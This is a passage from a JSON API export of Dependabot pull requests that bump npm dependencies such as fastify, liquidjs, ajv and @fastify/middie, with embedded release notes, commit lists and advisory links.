false\u003ccode\u003eto\u003c/code\u003epackage.json` ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/9050ba1359fb87cd7c143f3c79513ea7624ea443\"\u003e\u003ccode\u003e9050ba1\u003c/code\u003e\u003c/a\u003e bump version to 8.17.1 (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2472\"\u003e#2472\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/f7831b41c3a27064c6219f51a1e7371ffb582dfe\"\u003e\u003ccode\u003ef7831b4\u003c/code\u003e\u003c/a\u003e fixes \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2217\"\u003e#2217\u003c/a\u003e - clarify custom keyword naming (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2457\"\u003e#2457\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/a523784388a79ce65e42caf4d2731da36a94b386\"\u003e\u003ccode\u003ea523784\u003c/code\u003e\u003c/a\u003e fix: changes for \u003ccode\u003e@​typescript-eslint/array-type\u003c/code\u003e rule (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2467\"\u003e#2467\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/595fe58e64e8d5fb8a50fd7a58f9e7f3bcca0bac\"\u003e\u003ccode\u003e595fe58\u003c/code\u003e\u003c/a\u003e feat: add test for encoded refs and bump fast-uri (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2449\"\u003e#2449\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ajv-validator/ajv/compare/v8.12.0...v8.18.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `jsonpath` from 1.1.1 to 1.3.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/dchester/jsonpath/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `liquidjs` from 10.7.1 to 10.25.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/harttle/liquidjs/releases\"\u003eliquidjs's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.25.5\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.25.4...v10.25.5\"\u003e10.25.5\u003c/a\u003e (2026-04-07)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eenforce root containment for renderFile/parseFile lookups (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/870\"\u003e#870\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/f41c1fc02fe901598f3328118b42b13bc6bc9b04\"\u003ef41c1fc\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003enull date should return empty (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/868\"\u003e#868\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/872\"\u003e#872\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/4f9a49988a93c156524981e189a4fec238e682b8\"\u003e4f9a499\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003erounding negative away from zero when half (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/873\"\u003e#873\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/1cdf10b57d82f0592414efbfca19e204b37aea9f\"\u003e1cdf10b\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.25.4\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.25.3...v10.25.4\"\u003e10.25.4\u003c/a\u003e (2026-04-07)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003esort and sort_natural filters bypass ownPropertyOnly (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/869\"\u003e#869\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/e743da0020d34e2ee547e1cc1a86b58377ebe1ce\"\u003ee743da0\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.25.3\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.25.2...v10.25.3\"\u003e10.25.3\u003c/a\u003e (2026-04-06)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eprecise memoryLimit for string replace (\u003ca href=\"https://github.com/harttle/liquidjs/commit/abc058be0f33d6372cd2216f4945183167abeb25\"\u003eabc058b\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003euse realpath for fs.contains (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/867\"\u003e#867\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/529dd67eeb6b125637623d6a723601f0938d3613\"\u003e529dd67\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.25.2\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.25.1...v10.25.2\"\u003e10.25.2\u003c/a\u003e (2026-03-25)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ehandle undefined replacement argument in replace filter (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/864\"\u003e#864\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/0ad2b11ab15e7da608a9ef936b2a00a6a6517038\"\u003e0ad2b11\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.25.1\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.25.0...v10.25.1\"\u003e10.25.1\u003c/a\u003e (2026-03-22)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003emem limiter for invalid ranges (\u003ca href=\"https://github.com/harttle/liquidjs/commit/95ddefc056a11a44d9e753fd47a39db2c241e578\"\u003e95ddefc\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etreat args for replace_first as literal (\u003ca href=\"https://github.com/harttle/liquidjs/commit/35d523026345d80458df24c72e653db78b5d061d\"\u003e35d5230\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.25.0\u003c/h2\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.24.0...v10.25.0\"\u003e10.25.0\u003c/a\u003e (...\n\n_Description has been truncated_","html_url":"https://github.com/dporkka/dittofeed-customer-engagement/pull/4","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/dporkka%2Fdittofeed-customer-engagement/issues/4","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/4/packages"},{"uuid":"4224575860","node_id":"PR_kwDOP80kr87Qzls8","number":29,"state":"closed","title":"chore(deps): bump the npm_and_yarn group across 5 directories with 19 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-04-08T21:27:34.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-08T12:42:06.000Z","updated_at":"2026-04-08T21:27:36.000Z","time_to_close":31528,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"npm_and_yarn","update_count":19,"packages":[{"name":"@fastify/middie","old_version":"9.0.3","new_version":"9.2.0","repository_url":"https://github.com/fastify/middie"},{"name":"fastify","old_version":"5.6.1","new_version":"5.8.3","repository_url":"https://github.com/fastify/fastify"},{"name":"@astrojs/node","old_version":"9.4.4","new_version":"10.0.0","repository_url":"https://github.com/withastro/astro"},{"name":"astro","old_version":"5.13.10","new_version":"5.18.1","repository_url":"https://github.com/withastro/astro"},{"name":"vite","old_version":"5.4.20","new_version":"6.4.2","repository_url":"https://github.com/vitejs/vite"},{"name":"undici","old_version":"6.21.3","new_version":"6.24.0","repository_url":"https://github.com/nodejs/undici"},{"name":"yaml","old_version":"2.8.1","new_version":"2.8.3","repository_url":"https://github.com/eemeli/yaml"},{"name":"ajv","old_version":"8.17.1","new_version":"8.18.0","repository_url":"https://github.com/ajv-validator/ajv"},{"name":"mercurius","old_version":"16.2.0","new_version":"16.8.0","repository_url":"https://github.com/mercurius-js/mercurius"},{"name":"fast-jwt","old_version":"5.0.6","new_version":"6.2.0","repository_url":"https://github.com/nearform/fast-jwt"},{"name":"@nestjs/core","old_version":"11.1.6","new_version":"11.1.18","repository_url":"https://github.com/nestjs/nest"},{"name":"@nestjs/platform-fastify","old_version":"11.1.6","new_version":"11.1.16","repository_url":"https://github.com/nestjs/nest"},{"name":"next","old_version":"15.5.3","new_version":"15.5.14","repository_url":"https://github.com/vercel/next.js"},{"name":"koa","old_version":"2.16.2","new_version":"2.16.4","repository_url":"https://github.com/koajs/koa"}],"path":null,"ecosystem":"npm"},"body":"Bumps the npm_and_yarn group with 14 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@fastify/middie](https://github.com/fastify/middie) | `9.0.3` | `9.2.0` |\n| [fastify](https://github.com/fastify/fastify) | `5.6.1` | `5.8.3` |\n| [@astrojs/node](https://github.com/withastro/astro/tree/HEAD/packages/integrations/node) | `9.4.4` | `10.0.0` |\n| [astro](https://github.com/withastro/astro/tree/HEAD/packages/astro) | `5.13.10` | `5.18.1` |\n| [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) | `5.4.20` | `6.4.2` |\n| [undici](https://github.com/nodejs/undici) | `6.21.3` | `6.24.0` |\n| [yaml](https://github.com/eemeli/yaml) | `2.8.1` | `2.8.3` |\n| [ajv](https://github.com/ajv-validator/ajv) | `8.17.1` | `8.18.0` |\n| [mercurius](https://github.com/mercurius-js/mercurius) | `16.2.0` | `16.8.0` |\n| [fast-jwt](https://github.com/nearform/fast-jwt) | `5.0.6` | `6.2.0` |\n| [@nestjs/core](https://github.com/nestjs/nest/tree/HEAD/packages/core) | `11.1.6` | `11.1.18` |\n| [@nestjs/platform-fastify](https://github.com/nestjs/nest/tree/HEAD/packages/platform-fastify) | `11.1.6` | `11.1.16` |\n| [next](https://github.com/vercel/next.js) | `15.5.3` | `15.5.14` |\n| [koa](https://github.com/koajs/koa) | `2.16.2` | `2.16.4` |\n\nBumps the npm_and_yarn group with 2 updates in the /packages/db-authorization directory: [undici](https://github.com/nodejs/undici) and [fast-jwt](https://github.com/nearform/fast-jwt).\nBumps the npm_and_yarn group with 1 update in the /packages/foundation directory: [undici](https://github.com/nodejs/undici).\nBumps the npm_and_yarn group with 2 updates in the /packages/runtime directory: [undici](https://github.com/nodejs/undici) and [fast-jwt](https://github.com/nearform/fast-jwt).\nBumps the npm_and_yarn group with 1 update in the /packages/service directory: [undici](https://github.com/nodejs/undici).\n\nUpdates `@fastify/middie` from 9.0.3 to 9.2.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/fastify/middie/releases\"\u003e\u003ccode\u003e@​fastify/middie\u003c/code\u003e's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev9.2.0\u003c/h2\u003e\n\u003ch2\u003e⚠️ Security Release\u003c/h2\u003e\n\u003cp\u003eFixes \u003ca href=\"https://github.com/fastify/middie/security/advisories/GHSA-8p85-9qpw-fwgw\"\u003ehttps://github.com/fastify/middie/security/advisories/GHSA-8p85-9qpw-fwgw\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eci: remove stale.yml by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/247\"\u003efastify/middie#247\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/247\"\u003efastify/middie#247\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/middie/compare/v9.1.0...v9.2.0\"\u003ehttps://github.com/fastify/middie/compare/v9.1.0...v9.2.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev9.1.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ebuild(dependabot): reduce npm updates to monthly by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/228\"\u003efastify/middie#228\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: rename master to main by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/230\"\u003efastify/middie#230\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(ci): set job permissions by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/231\"\u003efastify/middie#231\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: migrate from tap to node:test by \u003ca href=\"https://github.com/matteo-gobbo\"\u003e\u003ccode\u003e@​matteo-gobbo\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/229\"\u003efastify/middie#229\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: remove .taprc by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/232\"\u003efastify/middie#232\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: set permissions at workflow level by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/233\"\u003efastify/middie#233\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: restore job level permissions by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/234\"\u003efastify/middie#234\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps-dev): bump serve-static from 1.16.2 to 2.2.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/235\"\u003efastify/middie#235\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps-dev): bump tsd from 0.31.2 to 0.32.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/236\"\u003efastify/middie#236\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(license): update date ranges; standardise style by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/237\"\u003efastify/middie#237\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 22.15.34 to 24.0.8 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/238\"\u003efastify/middie#238\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(tests): removed simple-get by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/239\"\u003efastify/middie#239\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps-dev): bump tsd from 0.32.0 to 0.33.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/241\"\u003efastify/middie#241\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(.npmrc): ignore scripts by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/242\"\u003efastify/middie#242\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps-dev): remove \u003ccode\u003e@​fastify/pre-commit\u003c/code\u003e by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/243\"\u003efastify/middie#243\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(ci): add concurrency config by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/244\"\u003efastify/middie#244\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.3 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/246\"\u003efastify/middie#246\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: decode paths before matching by \u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/245\"\u003efastify/middie#245\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/matteo-gobbo\"\u003e\u003ccode\u003e@​matteo-gobbo\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/229\"\u003efastify/middie#229\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/239\"\u003efastify/middie#239\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/245\"\u003efastify/middie#245\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/middie/compare/v9.0.3...v9.1.0\"\u003ehttps://github.com/fastify/middie/compare/v9.0.3...v9.1.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/middie/commit/f9b3e79c2c045c9af8e5860d96629943ceeb61b0\"\u003e\u003ccode\u003ef9b3e79\u003c/code\u003e\u003c/a\u003e Bumped v9.2.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/middie/commit/140e0dd0359d890fec7e6ea1dcc5134d6bd554d4\"\u003e\u003ccode\u003e140e0dd\u003c/code\u003e\u003c/a\u003e fix: harden middie path normalization and matching\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/middie/commit/45c02d071117f00a9c4cba3cfa69460064f13ea3\"\u003e\u003ccode\u003e45c02d0\u003c/code\u003e\u003c/a\u003e ci: remove stale.yml (\u003ca href=\"https://redirect.github.com/fastify/middie/issues/247\"\u003e#247\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/middie/commit/8de54e35035cefa5ca13fd9f06c7b38185038a0e\"\u003e\u003ccode\u003e8de54e3\u003c/code\u003e\u003c/a\u003e v9.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/middie/commit/d44cd56eb724490babf7b452fdbbdd37ea2effba\"\u003e\u003ccode\u003ed44cd56\u003c/code\u003e\u003c/a\u003e fix: decode paths before matching (\u003ca href=\"https://redirect.github.com/fastify/middie/issues/245\"\u003e#245\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/middie/commit/ed987d6f1aa1718b0f221a1d25006a26a7df383c\"\u003e\u003ccode\u003eed987d6\u003c/code\u003e\u003c/a\u003e build(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.3 (\u003ca href=\"https://redirect.github.com/fastify/middie/issues/246\"\u003e#246\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/middie/commit/ca2c81208fc42cfd2edc8b3a8552c7227a85d241\"\u003e\u003ccode\u003eca2c812\u003c/code\u003e\u003c/a\u003e ci(ci): add concurrency config (\u003ca href=\"https://redirect.github.com/fastify/middie/issues/244\"\u003e#244\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/middie/commit/d405c424554a2863412ea4f50702eaf2377dc657\"\u003e\u003ccode\u003ed405c42\u003c/code\u003e\u003c/a\u003e build(deps-dev): remove \u003ccode\u003e@​fastify/pre-commit\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/fastify/middie/issues/243\"\u003e#243\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/middie/commit/3c66977e06e1e5921f1942f7d4a4e51edd785253\"\u003e\u003ccode\u003e3c66977\u003c/code\u003e\u003c/a\u003e chore(.npmrc): ignore scripts (\u003ca href=\"https://redirect.github.com/fastify/middie/issues/242\"\u003e#242\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/middie/commit/d30c7cc5cd1e19027879134cdb77db95dc4397ea\"\u003e\u003ccode\u003ed30c7cc\u003c/code\u003e\u003c/a\u003e build(deps-dev): bump tsd from 0.32.0 to 0.33.0 (\u003ca href=\"https://redirect.github.com/fastify/middie/issues/241\"\u003e#241\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/fastify/middie/compare/v9.0.3...v9.2.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fastify` from 5.6.1 to 5.8.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/fastify/fastify/releases\"\u003efastify's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.8.3\u003c/h2\u003e\n\u003ch2\u003e⚠️ Security Release\u003c/h2\u003e\n\u003cp\u003eThis fixes CVE CVE-2026-3635 \u003ca href=\"https://github.com/fastify/fastify/security/advisories/GHSA-444r-cwp2-x5xf\"\u003ehttps://github.com/fastify/fastify/security/advisories/GHSA-444r-cwp2-x5xf\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003edocs(readme): add \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e to plugin team by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6565\"\u003efastify/fastify#6565\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpdated Plugins-Guide.md; Changed \u0026quot;fastify\u0026quot; to \u0026quot;instance\u0026quot; during plugin registration to showcase that it's added as a child by \u003ca href=\"https://github.com/kyrylchenko\"\u003e\u003ccode\u003e@​kyrylchenko\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6566\"\u003efastify/fastify#6566\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: use fastify.test in test case by \u003ca href=\"https://github.com/climba03003\"\u003e\u003ccode\u003e@​climba03003\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6568\"\u003efastify/fastify#6568\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: use fastify.example in documentation by \u003ca href=\"https://github.com/climba03003\"\u003e\u003ccode\u003e@​climba03003\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6567\"\u003efastify/fastify#6567\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add common performance degradation guidance by \u003ca href=\"https://github.com/maxpetrusenko\"\u003e\u003ccode\u003e@​maxpetrusenko\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6520\"\u003efastify/fastify#6520\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(server): fix camelCase anchor links in TOC by \u003ca href=\"https://github.com/Deepvamja\"\u003e\u003ccode\u003e@​Deepvamja\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6530\"\u003efastify/fastify#6530\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(link-checker): fix root-relative links resolution by \u003ca href=\"https://github.com/barba-rossa\"\u003e\u003ccode\u003e@​barba-rossa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6535\"\u003efastify/fastify#6535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: update syntax markdown, absolute paths and links by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6569\"\u003efastify/fastify#6569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: clarify content-type parser/schema mismatch is outside threat model by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6537\"\u003efastify/fastify#6537\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: fix incorrect code examples in Reply and Request reference by \u003ca href=\"https://github.com/mahmoodhamdi\"\u003e\u003ccode\u003e@​mahmoodhamdi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6582\"\u003efastify/fastify#6582\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: replace redirected npm.im http-errors link by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6588\"\u003efastify/fastify#6588\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etypes: Allow port to be null in request type definition by \u003ca href=\"https://github.com/TristanBarlow\"\u003e\u003ccode\u003e@​TristanBarlow\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6589\"\u003efastify/fastify#6589\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: update links by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6593\"\u003efastify/fastify#6593\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(lock-threads): use shared lock-threads workflow by \u003ca 